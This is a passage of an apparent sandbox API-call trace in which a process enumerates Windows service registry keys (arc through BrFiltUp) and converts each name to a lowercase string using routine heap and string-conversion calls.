BaseAddress=0x21f1a00) returned 1 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0258.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0258.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0258.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0258.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0258.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 